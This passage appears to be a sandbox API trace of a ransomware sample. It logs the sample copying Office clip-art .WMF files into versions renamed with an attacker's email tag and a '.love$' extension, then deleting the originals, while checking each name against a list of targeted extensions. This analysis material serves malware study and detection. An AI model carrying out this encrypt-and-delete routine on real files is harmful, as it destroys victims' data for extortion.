lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.179] SetEndOfFile (hFile=0x534) returned 1 [0267.184] CloseHandle (hObject=0x534) returned 1 [0267.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0267.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.187] lstrlenW (lpString=".doc") returned 4 [0267.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.187] lstrlenW (lpString=".docx") returned 5 [0267.187] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0267.187] lstrlenW (lpString=".pdf") returned 4 [0267.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.187] lstrlenW (lpString=".xls") returned 4 [0267.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.187] lstrlenW (lpString=".xlsx") returned 5 [0267.187] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0267.187] lstrlenW (lpString=".ppt") returned 4 [0267.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.187] lstrlenW (lpString=".zip") returned 4 [0267.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.187] lstrlenW (lpString=".rar") returned 4 [0267.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.188] lstrlenW (lpString=".bz2") returned 4 [0267.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.188] lstrlenW (lpString=".7z") returned 3 [0267.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.188] lstrlenW (lpString=".dbf") returned 4 [0267.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.188] lstrlenW (lpString=".1cd") returned 4 [0267.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.188] lstrlenW (lpString=".jpg") returned 4 [0267.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.188] lstrlenW (lpString=".doc") returned 4 [0267.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.189] lstrlenW (lpString=".docx") returned 5 [0267.189] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0267.189] lstrlenW (lpString=".pdf") returned 4 [0267.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.189] lstrlenW (lpString=".xls") returned 4 [0267.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.189] lstrlenW (lpString=".xlsx") returned 5 [0267.189] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0267.189] lstrlenW (lpString=".ppt") returned 4 [0267.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.189] lstrlenW (lpString=".zip") returned 4 [0267.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.189] lstrlenW (lpString=".rar") returned 4 [0267.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.189] lstrlenW (lpString=".bz2") returned 4 [0267.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.189] lstrlenW (lpString=".7z") returned 3 [0267.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.189] lstrlenW (lpString=".dbf") returned 4 [0267.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.190] lstrlenW (lpString=".1cd") returned 4 [0267.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0267.190] lstrlenW (lpString=".jpg") returned 4 [0267.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.190] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0267.190] lstrlenW (lpString="J0099169.WMF") returned 12 [0267.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.192] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10192) returned 1 [0267.192] CloseHandle (hObject=0x534) returned 1 [0267.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0267.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.193] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.193] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0267.195] GetLastError () returned 0x0 [0267.195] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0267.236] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0267.238] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.238] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.239] SetEndOfFile (hFile=0x4c8) returned 1 [0267.239] CloseHandle (hObject=0x4c8) returned 1 [0267.239] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.240] SetEndOfFile (hFile=0x534) returned 1 [0267.245] CloseHandle (hObject=0x534) returned 1 [0267.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0267.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.248] lstrlenW (lpString=".doc") returned 4 [0267.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.248] lstrlenW (lpString=".docx") returned 5 [0267.248] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0267.248] lstrlenW (lpString=".pdf") returned 4 [0267.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.248] lstrlenW (lpString=".xls") returned 4 [0267.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.248] lstrlenW (lpString=".xlsx") returned 5 [0267.248] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0267.248] lstrlenW (lpString=".ppt") returned 4 [0267.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.249] lstrlenW (lpString=".zip") returned 4 [0267.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.249] lstrlenW (lpString=".rar") returned 4 [0267.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.249] lstrlenW (lpString=".bz2") returned 4 [0267.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.249] lstrlenW (lpString=".7z") returned 3 [0267.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.249] lstrlenW (lpString=".dbf") returned 4 [0267.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.249] lstrlenW (lpString=".1cd") returned 4 [0267.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.249] lstrlenW (lpString=".jpg") returned 4 [0267.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.250] lstrlenW (lpString=".doc") returned 4 [0267.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.250] lstrlenW (lpString=".docx") returned 5 [0267.250] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0267.250] lstrlenW (lpString=".pdf") returned 4 [0267.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.250] lstrlenW (lpString=".xls") returned 4 [0267.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.250] lstrlenW (lpString=".xlsx") returned 5 [0267.250] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0267.250] lstrlenW (lpString=".ppt") returned 4 [0267.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.250] lstrlenW (lpString=".zip") returned 4 [0267.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.251] lstrlenW (lpString=".rar") returned 4 [0267.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.251] lstrlenW (lpString=".bz2") returned 4 [0267.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.251] lstrlenW (lpString=".7z") returned 3 [0267.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.251] lstrlenW (lpString=".dbf") returned 4 [0267.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.251] lstrlenW (lpString=".1cd") returned 4 [0267.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0267.251] lstrlenW (lpString=".jpg") returned 4 [0267.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.252] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0267.252] lstrlenW (lpString="J0099171.WMF") returned 12 [0267.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.253] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=8754) returned 1 [0267.253] CloseHandle (hObject=0x534) returned 1 [0267.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0268.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.932] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.932] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0269.184] GetLastError () returned 0x0 [0269.184] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2232, lpOverlapped=0x0) returned 1 [0269.187] WriteFile (in: hFile=0x4b0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2240, lpOverlapped=0x0) returned 1 [0269.191] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.191] WriteFile (in: hFile=0x4b0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.192] SetEndOfFile (hFile=0x4b0) returned 1 [0269.192] CloseHandle (hObject=0x4b0) returned 1 [0269.192] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.192] SetEndOfFile (hFile=0x550) returned 1 [0269.200] CloseHandle (hObject=0x550) returned 1 [0269.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0269.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.204] lstrlenW (lpString=".doc") returned 4 [0269.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.204] lstrlenW (lpString=".docx") returned 5 [0269.204] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0269.204] lstrlenW (lpString=".pdf") returned 4 [0269.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.204] lstrlenW (lpString=".xls") returned 4 [0269.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.205] lstrlenW (lpString=".xlsx") returned 5 [0269.205] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0269.205] lstrlenW (lpString=".ppt") returned 4 [0269.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.205] lstrlenW (lpString=".zip") returned 4 [0269.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.205] lstrlenW (lpString=".rar") returned 4 [0269.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.205] lstrlenW (lpString=".bz2") returned 4 [0269.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.205] lstrlenW (lpString=".7z") returned 3 [0269.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.205] lstrlenW (lpString=".dbf") returned 4 [0269.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.206] lstrlenW (lpString=".1cd") returned 4 [0269.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.206] lstrlenW (lpString=".jpg") returned 4 [0269.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.206] lstrlenW (lpString=".doc") returned 4 [0269.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.206] lstrlenW (lpString=".docx") returned 5 [0269.206] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0269.206] lstrlenW (lpString=".pdf") returned 4 [0269.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.206] lstrlenW (lpString=".xls") returned 4 [0269.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.207] lstrlenW (lpString=".xlsx") returned 5 [0269.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0269.207] lstrlenW (lpString=".ppt") returned 4 [0269.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.207] lstrlenW (lpString=".zip") returned 4 [0269.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.207] lstrlenW (lpString=".rar") returned 4 [0269.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.207] lstrlenW (lpString=".bz2") returned 4 [0269.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.207] lstrlenW (lpString=".7z") returned 3 [0269.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.209] lstrlenW (lpString=".dbf") returned 4 [0269.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.209] lstrlenW (lpString=".1cd") returned 4 [0269.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0269.210] lstrlenW (lpString=".jpg") returned 4 [0269.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.210] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.210] lstrlenW (lpString="J0099180.WMF") returned 12 [0269.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.214] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3394) returned 1 [0269.214] CloseHandle (hObject=0x550) returned 1 [0269.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0269.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.215] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.215] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0269.217] GetLastError () returned 0x0 [0269.217] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xd42, lpOverlapped=0x0) returned 1 [0269.222] WriteFile (in: hFile=0x4b0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd50, lpOverlapped=0x0) returned 1 [0269.224] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.224] WriteFile (in: hFile=0x4b0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.224] SetEndOfFile (hFile=0x4b0) returned 1 [0269.224] CloseHandle (hObject=0x4b0) returned 1 [0269.224] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.768] SetEndOfFile (hFile=0x550) returned 1 [0269.802] CloseHandle (hObject=0x550) returned 1 [0269.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) 